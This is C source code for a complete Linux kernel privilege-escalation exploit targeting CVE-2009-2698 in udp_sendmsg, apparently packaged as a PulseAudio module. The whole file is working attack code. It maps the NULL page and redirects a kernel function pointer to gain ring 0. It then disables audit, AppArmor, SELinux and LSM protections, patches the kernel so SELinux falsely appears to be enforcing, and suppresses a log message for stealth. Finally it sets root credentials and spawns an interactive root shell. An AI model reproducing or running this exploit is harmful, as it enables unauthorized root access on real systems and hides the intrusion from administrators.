/* second verse, same as the first
   CVE-2009-2698 udp_sendmsg(), x86/x64
   Cheers to Julien/Tavis for the bug, p0c73n1 for just throwing code at 
   NULL and finding it executed
   This exploit is a bit more nuanced and thoughtful ;)
   use ./therebel.sh for everything

   At this moment, when each of us must fit an arrow to his bow and 
   enter the lists anew, to reconquer, within history and in spite of it,
   that which he owns already, the thin yield of his fields, the brief 
   love of the earth, at this moment when at last a man is born, it is 
   time to forsake our age and its adolescent furies.  The bow bends; 
   the wood complains.  At the moment of supreme tension, there will 
   leap into flight an unswerving arrow, a shaft that is inflexible and 
   free.  -Camus
*/

#include <asm/unistd.h>
#include <signal.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/file.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/user.h>
#include <sys/personality.h>
#include <unistd.h>

struct dst_entry {
	void *next;
	int refcnt;
	int use;
	void *child;
	void *dev;
	short error;
	short obsolete;
	int flags;
	unsigned long lastuse;
	unsigned long expires;
	unsigned short header_len;
	unsigned short trailer_len;
	unsigned int metrics[14];
	/* things change from version to version past here, so let's do this: */
	void *own_the_kernel[10];
};

int got_ring0 = 0;
int got_root = 0;
int eightk_stack = 0;
int twofourstyle = 0;

#define TASK_RUNNING 0

static inline unsigned long get_current_4k(void)
{
	unsigned long current = 0;

	current = (unsigned long)&current;

	current = *(unsigned long *)(current & 0xfffff000);
	if (current < 0xc0000000 || current > 0xfffff000)
		return 0;
	if (*(long *)current != TASK_RUNNING)
		return 0;

	return current;
}

static inline unsigned long get_current_8k(void)
{
	unsigned long current = 0;
	unsigned long oldstyle = 0;

	eightk_stack = 1;

	current = (unsigned long)&current;
	oldstyle = current & 0xffffe000;
	current = *(unsigned long *)(oldstyle);

	twofourstyle = 1;
	if (current < 0xc0000000 || current > 0xfffff000)
		return oldstyle;
	if (*(long *)current != TASK_RUNNING)
		return oldstyle;

	twofourstyle = 0;
	return current;
}

static inline unsigned long get_current_x64(void)
{
	unsigned long current = 0;
#ifdef __x86_64__
	asm volatile (
	"movq %%gs:(0), %0"
	: "=r" (current)
	);
#endif
	return current;
}	

static unsigned long get_kernel_sym(char *name)
{
	FILE *f;
	unsigned long addr;
	char dummy;
	char sname[256];
	int ret;

	f = fopen("/proc/kallsyms", "r");
	if (f == NULL) {
		f = fopen("/proc/ksyms", "r");
		if (f == NULL) {
			fprintf(stdout, "Unable to obtain symbol listing!\n");
			exit(0);
		}
	}

	ret = 0;
	while(ret != EOF) {
		ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
		if (ret == 0) {
			fscanf(f, "%s\n", sname);
			continue;
		}
		if (!strcmp(name, sname)) {
			fprintf(stdout, " [+] Resolved %s to %p\n", name, (void *)addr);
			fclose(f);
			return addr;
		}
	}

	fclose(f);
	return 0;
}

int *audit_enabled;

int *selinux_enforcing;
int *selinux_enabled;
int *sel_enforce_ptr;

int *apparmor_enabled;
int *apparmor_logsyscall;
int *apparmor_audit;
int *apparmor_complain;

unsigned long *security_ops;
unsigned long default_security_ops;

unsigned long sel_read_enforce;

int what_we_do;

unsigned int our_uid;

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

static void give_it_to_me_any_way_you_can(void)
{
	if (commit_creds && prepare_kernel_cred) {
		commit_creds(prepare_kernel_cred(0));
		got_root = 1;
	} else {
		unsigned int *current;
		unsigned long orig_current;

		if (sizeof(unsigned long) != sizeof(unsigned int))
			orig_current = get_current_x64();
		else {
			orig_current = get_current_4k();
			if (orig_current == 0)
				orig_current = get_current_8k();
		}

repeat:
		current = (unsigned int *)orig_current;
		while (((unsigned long)current < (orig_current + 0x1000 - 17 )) &&
			(current[0] != our_uid || current[1] != our_uid ||
			 current[2] != our_uid || current[3] != our_uid))
			current++;

		if ((unsigned long)current >= (orig_current + 0x1000 - 17 ))
			return;

		got_root = 1;
		memset(current, 0, sizeof(unsigned int) * 8);
	}

	return;	
}

static int __attribute__((regparm(3))) own_the_kernel(unsigned long a)
{
	got_ring0 = 1;

	if (audit_enabled)
		*audit_enabled = 0;

	// disable apparmor
	if (apparmor_enabled && *apparmor_enabled) {
		what_we_do = 1;
			*apparmor_enabled = 0;
		if (apparmor_audit)
			*apparmor_audit = 0;
		if (apparmor_logsyscall)
			*apparmor_logsyscall = 0;
		if (apparmor_complain)
			*apparmor_complain = 0;
	}

	// disable SELinux
	if (selinux_enforcing && *selinux_enforcing) {
		what_we_do = 2;
		*selinux_enforcing = 0;
	}

	if (!selinux_enabled || (selinux_enabled && *selinux_enabled == 0)) {
		// trash LSM
		if (default_security_ops && security_ops) {
			if (*security_ops != default_security_ops)
				what_we_do = 3;
			*security_ops = default_security_ops;
		}
	}

	/* make the idiots think selinux is enforcing */
	if (sel_read_enforce) {
		unsigned char *p;
		unsigned long _cr0;

		asm volatile (
		"mov %%cr0, %0"
		: "=r" (_cr0)
		);
		_cr0 &= ~0x10000;
		asm volatile (
		"mov %0, %%cr0"
		:
		: "r" (_cr0)
		);
		if (sizeof(unsigned int) != sizeof(unsigned long)) {
			/* 64bit version, look for the mov ecx, [rip+off]
			   and replace with mov ecx, 1
			*/
			for (p = (unsigned char *)sel_read_enforce; (unsigned long)p < (sel_read_enforce + 0x30); p++) {
				if (p[0] == 0x8b && p[1] == 0x0d) {
					p[0] = '\xb9';
					p[5] = '\x90';
					*(unsigned int *)&p[1] = 1;
				}
			}
		} else {
			/* 32bit, replace push [selinux_enforcing] with push 1 */
			for (p = (unsigned char *)sel_read_enforce; (unsigned long)p < (sel_read_enforce + 0x20); p++) {
				if (p[0] == 0xff && p[1] == 0x35) {
					// while we're at it, disable 
					// SELinux without having a 
					// symbol for selinux_enforcing ;)
					if (!selinux_enforcing) {
						sel_enforce_ptr = *(int **)&p[2];
						*sel_enforce_ptr = 0;
						what_we_do = 2;
					}
					p[0] = '\x68';
					p[5] = '\x90';
					*(unsigned int *)&p[1] = 1;
				} else if (p[0] == 0xa1 &&
					*(unsigned int *)&p[1] > 0xc0000000) {
					/* old 2.6 are compiled different */
					if (!selinux_enforcing) {
						sel_enforce_ptr = *(int **)&p[1];
						*sel_enforce_ptr = 0;
						what_we_do = 2;
					}
					p[0] = '\xb8';
					*(unsigned int *)&p[1] = 1;
				}
			}
		}
		_cr0 |= 0x10000;
		asm volatile (
		"mov %0, %%cr0"
		:
		: "r" (_cr0)
		);
	}

	// push it real good
	give_it_to_me_any_way_you_can();

	return -1;
}

void trigger_it(void)
{
	struct sockaddr sock = {
		.sa_family = AF_UNSPEC,
		.sa_data = "CamusIsAwesome",
	};
	char buf[1024] = {0};
	int fd;

	fd = socket(PF_INET, SOCK_DGRAM, 0);
	if (fd < 0) {
		fprintf(stdout, "failed to create socket\n");
		exit(1);
	}
		
	sendto(fd, buf, 1024, MSG_PROXY | MSG_MORE, &sock, sizeof(sock));
	sendto(fd, buf, 1024, 0, &sock, sizeof(sock));

	return;
}

int pa__init(void *m)
{
	struct dst_entry *mem = NULL;
	int ret;
	int i;

	our_uid = getuid();

	/* we don't need an executable mapping for this exploit ;) */
	if ((personality(0xffffffff)) != PER_SVR4) {
		mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
		if (mem != NULL) {
			fprintf(stdout, "UNABLE TO MAP ZERO PAGE!\n");
			return 1;
		}
	} else {
		ret = mprotect(NULL, 0x1000, PROT_READ | PROT_WRITE);
		if (ret == -1) {
			fprintf(stdout, "UNABLE TO MPROTECT ZERO PAGE!\n");
			return 1;
		}
	}

	fprintf(stdout, " [+] MAPPED ZERO PAGE!\n");

	selinux_enforcing = (int *)get_kernel_sym("selinux_enforcing");
	selinux_enabled = (int *)get_kernel_sym("selinux_enabled");
	apparmor_enabled = (int *)get_kernel_sym("apparmor_enabled");
	apparmor_complain = (int *)get_kernel_sym("apparmor_complain");
	apparmor_audit = (int *)get_kernel_sym("apparmor_audit");
	apparmor_logsyscall = (int *)get_kernel_sym("apparmor_logsyscall");
	security_ops = (unsigned long *)get_kernel_sym("security_ops");
	default_security_ops = get_kernel_sym("default_security_ops");
	sel_read_enforce = get_kernel_sym("sel_read_enforce");
	audit_enabled = (int *)get_kernel_sym("audit_enabled");
	commit_creds = (_commit_creds)get_kernel_sym("commit_creds");
	prepare_kernel_cred = (_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred");

	/* for stealthiness based on reversing, makes sure that frag_off
	   is set in skb so that a printk isn't issued alerting to the 
	   exploit in the ip_select_ident path
	*/
	mem->metrics[1] = 0xfff0;
	/* the actual "output" function pointer called by dst_output */
	for (i = 0; i < 10; i++)
		mem->own_the_kernel[i] = (void *)&own_the_kernel;

	/* trigger it */
	trigger_it();

	if (got_ring0) {
		fprintf(stdout, " [+] got ring0!\n");
	} else {
		fprintf(stdout, "didn't get ring0, bailing\n");
		return 1;
	}

	fprintf(stdout, " [+] detected %s %dk stacks\n",
		twofourstyle ? "2.4 style" : "2.6 style",
		eightk_stack ? 8 : 4);

	{
		char *msg;
		switch (what_we_do) {
			case 1:
				msg = "AppArmor";
				break;
			case 2:
				msg = "SELinux";
				break;
			case 3:
				msg = "LSM";
				break;
			default:
				msg = "nothing, what an insecure machine!";
		}
		fprintf(stdout, " [+] Disabled security of : %s\n", msg);
	}
	if (got_root == 1)
		fprintf(stdout, " [+] Got root!\n");
	else {
		fprintf(stdout, " [+] Failed to get root :( My uid setting code is broke for this kernel, email me.\n");
		exit(0);
	}

	execl("/bin/sh", "/bin/sh", "-i", NULL);

	return 0;
}

void pa__done(void *m)
{
	return;
}

int main(void)
{
  pa__init(NULL);
  return 0;
}
